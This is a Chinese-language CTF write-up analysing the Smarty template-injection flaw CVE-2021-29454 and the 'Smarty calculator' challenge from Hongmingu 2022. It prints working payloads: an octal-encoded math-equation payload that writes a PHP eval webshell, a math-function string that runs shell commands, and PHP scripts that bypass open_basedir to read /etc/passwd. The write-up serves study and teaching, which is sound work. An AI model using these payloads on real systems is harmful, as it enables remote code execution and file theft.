漏洞报告

Smarty 是 PHP 的模板引擎,有助于将表示 (HTML/CSS) 与应用程序逻辑分离。在 3.1.42 和 4.0.2 版本之前,模板作者可以通过制作恶意数学字符串来运行任意 PHP 代码。如果数学字符串作为用户提供的数据传递给数学函数,则外部用户可以通过制作恶意数学字符串来运行任意 PHP 代码。用户应升级到版本 3.1.42 或 4.0.2 以接收补丁。

源码分析

对比官方修复的代码,在/plugins/function.math.php添加了如下一段

// Remove whitespaces$equation = preg_replace('/\s+/', '', $equation);// Adapted from https://www.php.net/manual/en/function.eval.php#107377$number = '(?:\d+(?:[,.]\d+)?|pi|π)'; // What is a number$functionsOrVars = '((?:0x[a-fA-F0-9]+)|([a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*))';$operators = '[+/*^%-]'; // Allowed math operators$regexp = '/^(('.$number.'|'.$functionsOrVars.'|('.$functionsOrVars.'\s*((?1)+)|((?1)+)))(?:'.$operators.'(?2))?)+$/';if (!preg_match($regexp, $equation)) {trigger_error("math: illegal characters", E_USER_WARNING);return;}

对恶意拼接的数学字符串进行过滤(漏洞利用POC格式其实也在这里写出来了,参考$regexp)

而在较低版本下,缺少过滤部分,进而导致RCE
具体的POC我会在下面利用部分详写的

并且,在tests/UnitTests/TemplateSource/ValueTests/Math/MathTest.php中,也有添加

/*** @expectedException PHPUnit_Framework_Error_Warning*/public function testBackticksIllegal(){$expected = "22.00";$tpl = $this->smarty->createTemplate('eval:{$x = "4"}{$y = "5.5"}{math equation="`ls` x * y" x=$x y=$y}');$this->assertEquals($expected, $this->smarty->fetch($tpl));}/*** @expectedException PHPUnit_Framework_Error_Warning*/public function testDollarSignsIllegal(){$expected = "22.00";$tpl = $this->smarty->createTemplate('eval:{$x = "4"}{$y = "5.5"}{math equation="$" x=$x y=$y}');$this->assertEquals($expected, $this->smarty->fetch($tpl));}/*** @expectedException PHPUnit_Framework_Error_Warning*/public function testBracketsIllegal(){$expected = "I";$tpl = $this->smarty->createTemplate('eval:{$x = "0"}{$y = "1"}{math equation="((y/x).(x))[x]" x=$x y=$y}');$this->assertEquals($expected, $this->smarty->fetch($tpl));}

漏洞利用实例——红明谷 2022 | Smarty calculator

【相关技术文档】

考点

  • Smarty3.1.39 模板注入(CVE-2021-29454)
  • Bypass open_basedir
  • Bypass disable_functions

过程详解

看到Smarty,联系题目描述就明白这是Smarty模板注入,但是出题人修改了模板规则(真滴苟啊)。

一般情况下输入{$smarty.version},就可以看到返回的Smarty当前版本号,此题版本是3.1.39。

扫一下网站,发现存在源码泄露,访问www.zip即可下载,打开分析。

index.php

<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><title>Smarty calculator</title>
</head>
<body background="img/1.jpg">
<div align="center"><h1>Smarty calculator</h1>
</div>
<div style="width:100%;text-align:center"><form action="" method="POST"><input type="text" style="width:150px;height:30px" name="data" placeholder="      输入值进行计算" value=""><br><input type="submit" value="Submit"></form>
</div>
</body>
</html>
<?php
error_reporting(0);
include_once('./Smarty/Smarty.class.php');
$smarty = new Smarty();
$my_security_policy = new Smarty_Security($smarty);
$my_security_policy->php_functions = null;
$my_security_policy->php_handling = Smarty::PHP_REMOVE;
$my_security_policy->php_modifiers = null;
$my_security_policy->static_classes = null;
$my_security_policy->allow_super_globals = false;
$my_security_policy->allow_constants = false;
$my_security_policy->allow_php_tag = false;
$my_security_policy->streams = null;
$my_security_policy->php_modifiers = null;
$smarty->enableSecurity($my_security_policy);function waf($data){$pattern = "php|<|flag|?";$vpattern = explode("|", $pattern);foreach ($vpattern as $value) {if (preg_match("/$value/", $data)) {echo("<div style='width:100%;text-align:center'><h5>Calculator don  not like U<h5><br>");die();}}return $data;
}if(isset($_POST['data'])){if(isset($_COOKIE['login'])) {$data = waf($_POST['data']);echo "<div style='width:100%;text-align:center'><h5>Only smarty people can use calculators:<h5><br>";$smarty->display("string:" . $data);}else{echo "<script>alert("你还没有登录")</script>";}
}

在index.php中定义了waf函数,会检测$data中是否含有php < flag字样,这个还是蛮好绕的。

还会检测cookie中login是否存在且值不为零,只要在cookie上添加就好。

剩下的太多了。。。所以我筛选了一下,发现出题人应该只修改过3个文件。

用Beyond Compare对比一下官方模板,发现了出题人重点修改的地方就是正则匹配。

在CVE-2021-29454,有关Smarty的安全问题上,也有提到

  • 阻止$smarty.template_object在沙盒模式下访问
  • 修复了通过使用非法函数名的代码注入漏洞{function name=‘blah’}{/function}
if (preg_match('/[a-zA-Z0-9_\x80-\xff](.*)+$/', $_name)) {$compiler->trigger_template_error("Function name contains invalid characters: {$_name}", null, true);
}

那么接下来,请欣赏各种优雅的过正则姿势

姿势一

在正则处打下断点进行测试,

发现可以通过换行绕过正则

设置完cookie后,url编码一下,POST传参,poc执行成功

但是不能直接cat /flag,有disable_functions以及open_basedir,绕过open_basedir的方法可太多了,我之前写了一篇文章你的open_basedir安全吗? - 先知社区 (aliyun.com)

syslink() php 4/5/7/8

symlink(string $target, string $link): bool

原理是创建一个链接文件 aaa 用相对路径指向 A/B/C/D,再创建一个链接文件 abc 指向 aaa/…/…/…/…/etc/passwd,其实就是指向了 A/B/C/D/…/…/…/…/etc/passwd,也就是/etc/passwd。这时候删除 aaa 文件再创建 aaa 目录但是 abc 还是指向了 aaa 也就是 A/B/C/D/…/…/…/…/etc/passwd,就进入了路径/etc/passwd payload 构造的注意点就是:要读的文件需要往前跨多少路径,就得创建多少层的子目录,然后输入多少个…/来设置目标文件。

<?php
highlight_file(__FILE__);
mkdir("A");//创建目录
chdir("A");//切换目录
mkdir("B");
chdir("B");
mkdir("C");
chdir("C");
mkdir("D");
chdir("D");
chdir("..");
chdir("..");
chdir("..");
chdir("..");
symlink("A/B/C/D","aaa");
symlink("aaa/../../../../etc/passwd","abc");
unlink("aaa");
mkdir("aaa");
?>

ini_set()

ini_set()用来设置php.ini的值,在函数执行的时候生效,脚本结束后,设置失效。无需打开php.ini文件,就能修改配置。函数用法如下:

ini_set ( string $varname , string $newvalue ) : string

POC

<?php
highlight_file(__FILE__);
mkdir('Andy');  //创建目录
chdir('Andy');  //切换目录
ini_set('open_basedir','..');  //把open_basedir切换到上层目录
chdir('..');  //切换到根目录
chdir('..');
chdir('..');
ini_set('open_basedir','/');  //设置open_basedir为根目录
echo file_get_contents('/etc/passwd');  //读取/etc/passwd

姿势二

其实这个正则并不难,我们可以直接利用八进制数,然后借用Smarty的math equation,直接写入一句话shell,Antsword连接就好。

payload:

eval:{$x="42"}{math equation="("\146\151\154\145\137\160\165\164\137\143\157\156\164\145\156\164\163")("\141\56\160\150\160","\74\77\160\150\160\40\145\166\141\154\50\44\137\122\105\121\125\105\123\124\133\47\120\141\143\153\47\135\51\73\77\76")"}

然后蚁剑连接,在根目录下得到flag

姿势三

既然我们能利用函数名了,那么我们也可以用一些数学函数执行命令,我当时用就是这一种(其实是另外两种没想到,嘿嘿嘿)

<?php
highlight_file(__FILE__);
//error_reporting(0);
include_once('./Smarty/Smarty.class.php');
$smarty = new Smarty();
$my_security_policy = new Smarty_Security($smarty);
$my_security_policy->php_functions = null;
$my_security_policy->php_handling = Smarty::PHP_REMOVE;
$my_security_policy->php_modifiers = null;
$my_security_policy->static_classes = null;
$my_security_policy->allow_super_globals = false;
$my_security_policy->allow_constants = false;
$my_security_policy->allow_php_tag = false;
$my_security_policy->streams = null;
$my_security_policy->php_modifiers = null;
$smarty->enableSecurity($my_security_policy);
//$smarty->display("string:" . '{math equation="p;('exp'[0].'exp'[1].'exp'[0].'cos'[0])('cos'[0].'abs'[0].'tan'[0].'floor'[0].'floor'[1].'abs'[0].'log'[2]);" p=1 }');
$smarty->display("string:" . '{math equation="p;('exp'[0].'exp'[1].'exp'[0].'cos'[0])('cos'[0].'abs'[0].'tan'[0].' ./'.'floor'[0].'floor'[1].'abs'[0].'log'[2].'>1');" p="1" }');
//exec('cat /flag')>1
?>

将执行结果写入1文件,同样,因为有disable_functions以及open_basedir,所以执行会不成功吗,重复姿势一,就能绕过。

CVE-2021-29454——Smarty模板注入相关推荐

  1. [ctf web]SSTI PHP的模板注入SSTI (smarty+Twig) 以及[BJDCTF2020]Cookie is so stable

    PHP的模板注入 如果是在cookie处执行,最好抓包打payload,可能有url编码的问题 smarty模板注入 控制XFF进行命令执行(这是要在前端有IP相关回显的情况) payload: X- ...

  2. buu(ssti模板注入、ssrf服务器请求伪造)

    目录 目录 [CISCN2019 华东南赛区]Web11 [BJDCTF2020]EasySearch [De1CTF 2019]SSRF Me [CSCCTF 2019 Qual]FlaskLigh ...

  3. buuctf 刷题 6(WEB-INF/web.xmlSmarty模板注入py脚本编写)

    [RoarCTF 2019]Easy Java 进去页面,得到一个登录框.因为题目是java,应该不是sql注入, 点开help,看见: filename参数可控 .没做过相应的java安全题目.看其 ...

  4. WEB 渗透之SSTI 模板注入

    SSTI 模板注入 文章目录 SSTI 模板注入 前言 一.注入 二.什么是 SSTI 模板注入 三.产生原因 四.常见的模板引擎 五.相关属性 六.检测方法 七.攻击思路 1. 攻击方向 2. 漏洞 ...

  5. PHP的模板注入(Smarty模板)

    Smarty是一个PHP的模板引擎,提供让程序逻辑与页面显示(HTML/CSS)代码分离的功能.对于该框架的SSTI漏洞很多文章往往只是一笔带过,讲解的重心往往在flask等框架上.本篇文章结合一道C ...

  6. smarty模板基本语法

    smarty基本语法: 1.注释:<{* this is a comment *}>,注意左右分隔符的写法,要和自己定义的一致. <{* I am a Smarty comment, ...

  7. 写一个迷你版Smarty模板引擎,对认识模板引擎原理非常好(附代码)

    前些时间在看创智博客韩顺平的Smarty模板引擎教程,再结合自己跟李炎恢第二季开发中CMS系统写的tpl模板引擎.今天就写一个迷你版的Smarty引擎,虽然说我并没有深入分析过Smarty的源码,但是 ...

  8. cms概述 。比较shopex和ecshop区别 。smarty模板引擎的入门

    cms概述 为了找到一个合适的cms网站系统,我花了一番功夫搜索了多种cms,包括我用过的和没用过的,知道的和不知道的,当然,必须是开源的.免费的.生成静态页面的.到各自的官方网站,查看了有关资料,下 ...

  9. bugku Simple_SSTI_1and 2(SSTI模板注入)

    1.Simple_SSTI_12.Simple_SSTI_2 输入:http://114.67.175.224:15355/?flag={%%20for%20c%20in%20[].class.bas ...

最新文章

  1. 大学生学单片机怎么入门?
  2. 1-4月份我国软件业务收入15753亿元 同比增长13.1%
  3. 7、redis之使用spring集成commons-pool来操作常见数据类型
  4. maven工程导入eclipse后报错
  5. 企业Java中事务隔离级别的初学者指南
  6. MySQL中批量插入数据
  7. python 列表推导_Python 列表推导式使用的注意事项
  8. 一个 38 岁程序员的中年危机
  9. web前端开发学习路径图
  10. matlab三维绘图函数plot3【matlab图行绘制四】
  11. 搜索引擎的基本工作原理
  12. 两级运放积分器的带宽分析
  13. 【编程学习】每天进步一点点,编程学习之路:一款单词转MP3制作软件,单词随身听制作工具v1.0.1
  14. 【渝粤教育】电大中专计算机职业素养 (11)作业 题库
  15. iPhone 11系列发布:没有5G加持,苹果开始“不自信”了?
  16. Java程序练习-潜伏者
  17. 全局莫兰指数_关于Moran指数的一些思考
  18. BIOS 与 CPU关系
  19. 2023最新小熊的日记图文列表布局小程序模板源码
  20. Assimp + VSCODE + OpenGL + MinGW 环境配置全攻略

热门文章

  1. ML之PPMCC:PPMCC皮尔逊相关系数(Pearson correlation coefficient)、Spearman相关系数的简介、案例应用之详细攻略
  2. DL之MobileNetV2:MobileNetV2算法的简介(论文介绍)、架构详解、案例应用等配图集合之详细攻略
  3. TF学习——TF之API:TensorFlow的高级机器学习API—tf.contrib.learn的简介、使用方法、案例应用之详细攻略
  4. 成功解决Git Bash运行脚本命令下载文件到默认C盘路径的问题
  5. 成功解决打包时不能import自定义的包或库出现运行exe时No module named 缺少包
  6. linux shell 学习
  7. vue2移动端使用vee-validate进行表单验证
  8. XSD详解二 - 简易元素、属性、内容限定
  9. Js的Url中传递中文参数乱码的解决
  10. 第六十七篇、OC_UITableView head下拉图片放大的效果